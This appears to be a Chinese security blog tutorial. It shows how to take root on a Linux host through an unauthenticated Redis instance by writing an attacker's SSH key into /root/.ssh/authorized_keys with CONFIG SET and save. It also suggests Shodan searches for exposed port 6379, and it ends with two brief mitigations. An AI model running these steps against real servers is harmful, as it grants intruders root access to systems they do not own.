本文旨在讓大家注意加強redis的安全,不要去嘗試黑別人
在嘗試黑進系統之前,我們先來看一下,通過網絡空間的搜索引擎,查看全球內暴露在公網中的6379(Redis默認端口)或27017(默認端口)端口號:
ZoomEy不行就用:https://www.shodan.io/search?query=6379
下面我就準備兩臺服務器進行測試:
10.99.73.7(測試機)
10.99.73.11(攻擊目標)
1、測試能否連接到遠程主機的redis
$ redis-cli -h 10.99.73.11 -p 6379
10.99.73.11:6379> KEYS *
(empty list or set)
能夠看到我鏈接成功,并且能夠使用命令進行正常操作;其實只要能到這一步,基本就已經算成功入侵了。
2、然后將公鑰文件內容,寫入目標主機的redis
生成自己的公私鑰,輸入ssh-keygen命令,一路回車
修改id_rsa.pub文件,在文件開頭和結尾多添加回次車(最好兩次不要多也不要少),必須要加,不然這個公鑰過去之后無法使用。
寫公鑰進redis
$ cat /root/.ssh/id_rsa.pub | redis-cli -h 10.99.73.11 -p 6379 -x set ssh-key
OK
此時,我們再次連接目標主機的redis查看內容,公鑰已經寫入了目標主機redis
3、將公鑰文件寫入目標主機上
我們用config命令,分別設置redis寫入日志的文件名和目錄
10.99.73.11:6379> CONFIG SET dir /root/.ssh
OK
10.99.73.11:6379> CONFIG SET dbfilename "authorized_keys"
OK
10.99.73.11:6379> save
OK
4、驗證
使用ssh登錄目標主機,此時,已經成功獲取linux系統的root賬戶權限,進入目標主機。
原理
利用redis可以記錄日志的能力,將日志寫入root用戶的.ssh中,從而實現root賬戶針對攻擊者免密登錄的權限;
那么有攻擊就要有防守,我們應該如何防范這種攻擊呢?
方案有兩種:
方案1:配置文件中設置允許登錄的客戶端IP地址:
如: bind 127.0.0.1;
方案2:客戶端有密鏈接服務器 :
如:config set requirepass “password”